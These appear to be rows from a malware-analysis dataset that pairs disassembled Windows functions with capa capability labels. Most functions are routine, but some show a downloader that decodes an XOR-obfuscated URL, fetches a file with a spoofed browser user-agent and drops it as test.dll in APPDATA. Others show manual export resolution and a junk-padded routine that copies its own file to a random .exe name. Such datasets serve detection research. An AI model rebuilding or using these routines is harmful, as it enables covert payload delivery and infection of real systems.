joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14023d7bc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1402258b0
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1402258b0
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14023d90c
cmp rax, 0xffffffffffffffff
je 0x14023d90c
xor edi, edi
test rbp, rbp
jle 0x14023d8b7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140232504
mov rbx, rax
test rax, rax
jne 0x14023d844
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14023d8ad
mov edx, 0x8000
mov ecx, r14d
call fcn.14022ea44
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14022b0cc
cmp eax, 0xffffffff
je 0x14023d88d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14023d854
mov edx, r15d
mov ecx, r14d
call fcn.14022ea44
jmp 0x14023d8ad
cmp byte [rsi + 0x38], dil
je 0x14023d8a4
cmp dword [rsi + 0x34], 5
jne 0x14023d8a4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14023d8ad
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1402307a0
jmp 0x14023d920
jns 0x14023d920
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1402258b0
cmp rax, 0xffffffffffffffff
jne 0x14023d8d8
cmp byte [rsi + 0x30], dil
je 0x14023d920
mov edi, dword [rsi + 0x2c]
jmp 0x14023d920
mov ecx, r14d
call fcn.14022b9e4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14023d920
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14023d920
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14023d919
mov eax, dword [rsi + 0x2c]
jmp 0x14023d91e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1402258b0
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14023e6c8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140221508
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14023e752
cmp byte [rbp - 0x21], r15b
je 0x14023e74d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14023e788
call fcn.140233674
test eax, eax
jne 0x14023e774
cmp byte [rbp - 0x21], r15b
je 0x14023e76c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14023e788
cmp byte [rbp - 0x21], r15b
je 0x14023e785
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1402224b8
test eax, eax
jne 0x14023e828
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140221508
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14023e7c7
cmp byte [rbp - 0x21], r15b
je 0x14023e7fc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14023e7fc
call fcn.140233674
test eax, eax
jne 0x14023e7e8
cmp byte [rbp - 0x21], r15b
je 0x14023e7e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14023e7fc
cmp byte [rbp - 0x21], r15b
je 0x14023e7f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1402224b8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14023e828
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14023e82b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14023e839
mov rcx, rdi
call fcn.1402307a0
cmp byte [rbp + 0x3f], r15b
je 0x14023e848
mov rcx, qword [rbp + 0x27]
call fcn.1402307a0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14023fbc0
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x70
xor ebx, ebx
mov dword [rsp + 0x90], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x90]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0xa8], rax
mov rdi, rax
test rax, rax
jne 0x14023fa56
lea rax, [rbx - 1]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
mov eax, dword [rsp + 0x90]
mov r15, 0xffffffffffffffff
inc eax
mov qword [rsp + 0x60], rsi
movsxd rcx, eax
mov eax, 8
mul rcx
mov qword [rsp + 0x48], r14
cmovo rax, r15
mov rcx, rax
call fcn.140214374
mov r14, rax
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x14023fb4f
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x58], r12
mov r12, r14
mov qword [rsp + 0x50], r13
mov r13, rdi
sub r13, r14
mov r14d, ebx
nop dword [rax]
mov rbp, qword [r12 + r13]
mov r9d, r15d
mov qword [rsp + 0x38], rbx
mov r8, rbp
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.140214374
mov qword [rsp + 0x38], rbx
mov r9d, r15d
mov qword [rsp + 0x30], rbx
mov r8, rbp
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [r12], rsi
lea r12, [r12 + 8]
mov eax, dword [rsp + 0x90]
inc r14d
cmp r14d, eax
jne 0x14023fac0
mov r13, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x68]
mov r14, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa8]
cdqe
mov rcx, rdi
mov qword [r14 + rax*8], rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x90]
mov rdx, r14
call fcn.14002b420
mov esi, eax
cmp dword [rsp + 0x90], ebx
je 0x14023fb9c
mov rdi, r14
nop dword [rax + rax]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14023fb9c
call fcn.140214330
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x90]
jne 0x14023fb80
mov rcx, r14
call fcn.140214330
mov r14, qword [rsp + 0x48]
mov eax, esi
mov rsi, qword [rsp + 0x60]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
jmp 0x14023fa10

Function at 0x14023fcf0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14023fd18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14023fd18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rbp
sub rsp, 0xf0
mov eax, 0x5a4d
mov rbp, rdx
mov rbx, rcx
cmp word [rcx], ax
jne 0x140001185
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], reloc.api_ms_win_crt_runtime_l1_1_0.dll__initialize_narrow_environment
jne 0x140001185
movups xmm0, xmmword [rax + 0x18]
lea r8, [rsp]
mov qword [r11 + 8], rsi
movups xmm1, xmmword [rax + 0x28]
mov qword [r11 + 0x18], r14
xor r9d, r9d
movups xmmword [r8], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [r8 + 0x50], xmm1
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [r8 - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [r8], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [r8 + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [r8 + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [r8 + 0x50], xmm0
movups xmmword [r8 + 0x60], xmm1
mov eax, dword [rsp + 0x70]
add rax, rcx
mov r10d, dword [rax + 0x20]
mov r14d, dword [rax + 0x1c]
add r10, rcx
mov r11d, dword [rax + 0x24]
add r14, rcx
mov esi, dword [rax + 0x14]
add r11, rcx
test esi, esi
je 0x14000115f
mov qword [rsp + 0x108], rdi
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r11]
mov r8d, dword [r10]
add r8, rbx
mov edi, dword [r14 + rax*4]
mov rax, rbp
add rdi, rbx
sub r8, rbp
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001143
inc rax
test ecx, ecx
jne 0x140001130
test edx, edx
je 0x140001180
inc r9d
add r11, 2
add r10, 4
cmp r9d, esi
jb 0x140001110
mov rdi, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x100]
mov r14, qword [rsp + 0x110]
mov rbx, qword [rsp + 0x118]
add rsp, 0xf0
pop rbp
ret
mov rax, rdi
jmp 0x140001157
mov rbx, qword [rsp + 0x118]
xor eax, eax
add rsp, 0xf0
pop rbp
ret
Function at 0x1400013d0
Capabilities:
Reference http user-agent string

Disassembly:
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x1060
call fcn.1400029c0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rcx
mov rsi, rdx
lea rcx, [0x140003398]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.InternetOpenA
mov r14, rax
call section..text
xor r12d, r12d
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_130.0.0.0_Safari_537.36_Edg_130.0.2849.80
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
mov edx, 1
call rax
mov r15, rax
test rax, rax
jne 0x140001458
mov eax, 1
jmp 0x1400015cc
lea rdx, str.InternetOpenUrlA
mov qword [rsp + 0x10a0], rbx
mov rcx, r14
call section..text
mov rdx, rax
lea rcx, str.Loaded_AllocateMemory_n_____0x_p_n
mov rbx, rax
call fcn.1400011b0
xor r9d, r9d
mov qword [rsp + 0x28], r12
xor r8d, r8d
mov dword [rsp + 0x20], r12d
mov rdx, rdi
mov rcx, r15
call rbx
mov rdi, rax
test rax, rax
jne 0x1400014ab
mov eax, 2
jmp 0x1400015c4
lea rcx, str.kernel32.dll
mov qword [rsp + 0x10a8], rbp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateFileA
mov rbp, rax
call section..text
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rsi
call rax
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000150a
mov eax, 3
jmp 0x1400015bc
lea rdx, str.InternetReadFile
mov rcx, r14
call section..text
lea rdx, str.WriteFile
mov rcx, rbp
mov rbx, rax
call section..text
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov rbp, rax
call rbx
test eax, eax
je 0x140001595
nop word [rax + rax]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140001595
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x50]
mov rcx, rsi
call rbp
test eax, eax
je 0x140001595
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jne 0x140001595
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rdi
call rbx
test eax, eax
jne 0x140001550
lea rdx, str.InternetCloseHandle
mov rcx, r14
call section..text
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call rbx
mov rcx, r15
call rbx
xor eax, eax
mov rbp, qword [rsp + 0x10a8]
mov rbx, qword [rsp + 0x10a0]
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140001a60
add rsp, 0x1060
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400015f0
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x20], 0x445e5f45
mov dword [rbp - 0x1c], 0x1f180e1f
mov dword [rbp - 0x18], 0x7070f45
mov word [rbp - 0x14], 0x6b61
movdqa xmm0, xmmword [0x140003540]
xorps xmm0, xmmword [0x140003530]
movdqu xmmword [rbp - 0x30], xmm0
mov eax, 0x10
xor byte [rbp + rax - 0x30], 0x6b
inc rax
cmp rax, 0x1e
jb 0x140001651
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor edi, edi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], dil
jne 0x140001687
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x140001848
cmp rbx, 0xf
ja 0x1400016ce
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 0xf
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x50], dil
jmp 0x14000175d
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x140001707
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001a80
test rax, rax
je 0x140001811
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000173f
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
test rcx, rcx
je 0x14000173f
cmp rcx, 0x1000
jb 0x140001737
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000184e
jmp 0x1400016e8
call fcn.140001a80
mov rdi, rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rsi
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x1400017a4
lea rax, [rcx + 9]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x50]
add rbx, rcx
mov r8d, 9
lea rdx, str._test.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x1400017bb
mov qword [rsp + 0x20], 9
mov edx, 9
lea rcx, [rbp - 0x50]
call fcn.1400018c0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400013d0
lea rcx, str.Succesfully_DownLoad_File_
call fcn.1400011b0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000181d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001818
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001818
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001abc
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001a60
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400013b0
int3
call fcn.140001310
int3
Function at 0x1400023d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002422
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002422
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.api_ms_win_crt_runtime_l1_1_0.dll__initialize_narrow_environment
jne 0x140002422
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002422
cmp dword [rcx + 0x84], 0xe
jbe 0x140002422
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002424
xor al, al
add rsp, 0x28
ret
Function at 0x40113c
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
push rax
pop rax
push rax
pop rax
nop
nop
nop
nop
nop
nop
nop
nop
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov r11, rcx
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
push rax
pop rax
push rax
pop rax
lea rax, [0x00402004]
mov r11, rax
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
nop
nop
nop
nop
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x4011b8
jmp 0x4011bd
jmp 0x4013a9
nop
nop
nop
nop
mov eax, 2
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
nop
nop
nop
nop
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_ftell
mov dword [section..data], eax
nop
nop
nop
nop
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
nop
nop
nop
nop
mov eax, dword [section..data]
mov rcx, qword [rbp - 8]
mov r9, rcx
mov r8, rax
movabs rax, 1
mov r11, rax
lea rax, [0x004029f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fread
mov ecx, dword [section..data]
cmp rcx, rax
je 0x40126c
jmp 0x4013a9
nop
nop
nop
nop
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
movabs rax, 0
mov qword [rbp - 8], rax
nop
nop
nop
nop
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov ecx, 0x4b
imul eax, ecx
add eax, 0x4a
mov ecx, 0x10001
xor edx, edx
div ecx
mov dword [rbp - 0xc], edx
mov eax, dword [rbp - 0xc]
mov r11, rax
mov eax, 1
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
and eax, 0xffff
mov r8, rax
lea rax, str.y_.4lx.exe
mov r11, rax
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [0x00402012]
mov r11, rax
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x40139d
mov eax, dword [section..data]
mov rcx, qword [rbp - 8]
mov r9, rcx
mov r8, rax
movabs rax, 1
mov r11, rax
lea rax, [0x004029f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
leave
ret
Function at 0x401147
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
push rax
pop rax
push rax
pop rax
nop
nop
nop
nop
nop
nop
nop
nop
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov r11, rcx
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
push rax
pop rax
push rax
pop rax
lea rax, [0x00402004]
mov r11, rax
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
nop
nop
nop
nop
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x4011b8
jmp 0x4011bd
jmp 0x4013a9
nop
nop
nop
nop
mov eax, 2
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
nop
nop
nop
nop
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_ftell
mov dword [section..data], eax
nop
nop
nop
nop
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
nop
nop
nop
nop
mov eax, dword [section..data]
mov rcx, qword [rbp - 8]
mov r9, rcx
mov r8, rax
movabs rax, 1
mov r11, rax
lea rax, [0x004029f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fread
mov ecx, dword [section..data]
cmp rcx, rax
je 0x40126c
jmp 0x4013a9
nop
nop
nop
nop
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
movabs rax, 0
mov qword [rbp - 8], rax
nop
nop
nop
nop
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov ecx, 0x4b
imul eax, ecx
add eax, 0x4a
mov ecx, 0x10001
xor edx, edx
div ecx
mov dword [rbp - 0xc], edx
mov eax, dword [rbp - 0xc]
mov r11, rax
mov eax, 1
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
and eax, 0xffff
mov r8, rax
lea rax, str.y_.4lx.exe
mov r11, rax
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [0x00402012]
mov r11, rax
lea rax, [0x004021f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x40139d
mov eax, dword [section..data]
mov rcx, qword [rbp - 8]
mov r9, rcx
mov r8, rax
movabs rax, 1
mov r11, rax
lea rax, [0x004029f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
leave
ret
Function at 0x180001150
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
xor edi, edi
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
jne 0x180001176
xor eax, eax
mov rbx, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
pop rdi
ret
movsxd rax, dword [rcx + 0x3c]
mov qword [rsp + 0x10], rbp
mov ecx, dword [rax + rcx + 0x88]
add rcx, rbx
mov ebp, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add rbp, rbx
mov r11d, dword [rcx + 0x24]
add r9, rbx
add r11, rbx
test esi, 0xffff0000
jne 0x1800011ad
movzx eax, si
sub eax, dword [rcx + 0x10]
jmp 0x1800011fa
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x180001201
nop word [rax + rax]
mov eax, dword [r9]
dec r10d
add rax, rbx
mov r8, rsi
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800011e3
inc rax
test ecx, ecx
jne 0x1800011d0
test edx, edx
je 0x1800011f6
add r9, 4
add r11, 2
test r10d, r10d
jne 0x1800011c0
jmp 0x180001201
movzx eax, word [r11]
mov edi, dword [rbp + rax*4]
add rdi, rbx
mov rbp, qword [rsp + 0x10]
mov rax, rdi
mov rbx, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
pop rdi
ret